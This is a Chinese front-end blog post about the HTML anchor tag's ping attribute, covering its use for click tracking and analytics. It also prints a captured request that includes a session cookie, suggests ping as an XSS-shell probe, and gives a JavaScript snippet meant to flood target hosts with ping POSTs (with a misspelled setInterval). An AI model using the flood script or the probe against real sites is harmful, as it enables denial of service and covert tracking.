前言
今天谈谈a标签ping属性的用法,这个用法可以用来做埋点,及用户上报,关于埋点,我之前有文章写过,利用空白gif图片,实现数据上报,ping的这种方式可以发送post请求给后端,当然也可以通过这个做DDOS攻击,今天详细介绍一下。
Ping的用法
Ping的用法相对比较简单,我们通过举例的方式,为大家介绍:
<a href="https://www.haorooms.com/" ping="https://www.haorooms.com /nav">点击haorooms博客</a>
当你点击‘点击haorooms博客’的时候,会异步发送一个POST请求到Ping后面指定的地址,Request Body的内容为PING。或许你会问,那
<a ping="https://www.haorooms.com /nav">点击haorooms博客</a>
这段代码行不行?答案是否定的,和HTML中的a标签一样,HTML5中href这个属性必须存在与a中,不然Ping也是不会运行的。
应用一,埋点上报
我们可以看到 ping 请求的 content-type 是 text/ping,包含了用户的 User-Agent,是否跨域,目标来源地址等信息,非常方便数据收集的时候进行追踪。可以利用这个进行埋点上报,点击上报等。 Ping可以进行广告追踪,它可以统计用户都点击了哪些链接以及次数,并使用POST请求把这些信息发送到广告商的服务器上。那么POST的这些信息都包含了什么呢,简单来说HTTP Header的内容都会有,我们来看一个截获的完整信息
HOST: haorooms.com
CONTENT-LENGTH: 4
ORIGIN: http://mail.163.com
PING-FROM: http://****.com/js6/read/readhtml.jsp?mid=458:xtbBygBMgFO+dvBcvQAAsM&font=15&color=064977
USER-AGENT: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36
PING-TO: http://www.baidu.com/
CONTENT-TYPE: text/ping
ACCEPT: */*
REFERER: http://****.com/js6/read/readhtml.jsp?mid=458:xtbBygBMgFO+dvBcvQAAsM&font=15&color=064977
ACCEPT-ENCODING: gzip, deflate
ACCEPT-LANGUAGE: zh-CN,zh;q=0.8
COOKIE: sessionid=rnbymrrkbkipn7byvdc2hsem5o0vrr13
CACHE-CONTROL: max-age=0
CONNECTION: keep-alive
PING-FROM、USER-AGENT、REFERER这三个关键信息,直接泄漏了用户的隐私(但几个月前,百度已宣布不支持REFERER)。而这也为我们最爱的XSSSHELL又提供了一个小插件。对于图片探针如果没了新鲜感,那么请试试Ping探针吧,简单的一句
<a href="" ping=>
就搞定!
ping 属性的优势
1、无需 JavaScript 代码参与,网页功能异常也能上报;
2、不受浏览器刷新、跳转过关闭影响,也不会阻塞页面后续行为,这一点和 navigator.sendBeacon() 类似,可以保证数据上报的准确性; 支持跨域;
<a href="https://www.haorooms.com/" ping="https://www.baidu.com/ad.php">点击我</a>
3、可上报大量数据,因为是 POST 请求;
4、语义明确,使用方便,灵活自主。
ping 属性的劣势
1、只能支持点击行为的上报,如果是进入视区,或弹框显示的上报,需要额外触发下元素的 click() 行为;
2、只能支持 a 元素,在其他元素上设置 ping 属性没有作用,这就限制了其使用范围,因为很多开发喜欢 div 一把梭。
3、只能是 POST 请求,目前主流的数据统计还是日志中的 GET 请求,不能复用现有的基建。
4、出生不好,身为 HTML 属性,天然受某些开发者无视与不屑。
5、适合在移动端项目使用,PC端需要酌情使用(不需要考虑上报总量的情况下),因为目前 IE 和 Firefox 浏览器都不支持(或没有默认开启支持)。
应用二,DDOS攻击
根据Ping发送POST请求这个特性,我们可以使用循环使之不停的向一个地址追加POST请求,造成DOS攻击。
var arr = ['https://www.haorooms1.com', 'https://www.haorooms2.com', 'https://www.haorooms3.com'];
function haoroomsDOS( ){
var indexarr = Math.floor((Math.random( )*arr.length));
document.writeln("<script>var link = document.createElement(\'a\');link.href=\'\';link.ping=\'"+
arr[indexarr] +
"\';document.head.appendChild(link); link.click();</script>");
}
if(arr.length>0){
var htimename = setlnterval("haoroomsDOS()", 1000);
}
防御方法
web服务器可以通过WAF(如:ShareWAF,Http://www.sharewaf.com/)等拦截含有“Ping-To”、“Ping-From” HTTP headers的请求。
haorooms博客,前端博客,欢迎访问haorooms前端博客。haorooms博客被第三方严重盗用,导致排名下降,目前haorooms博客正在努力恢复中,敬请关注,谢谢!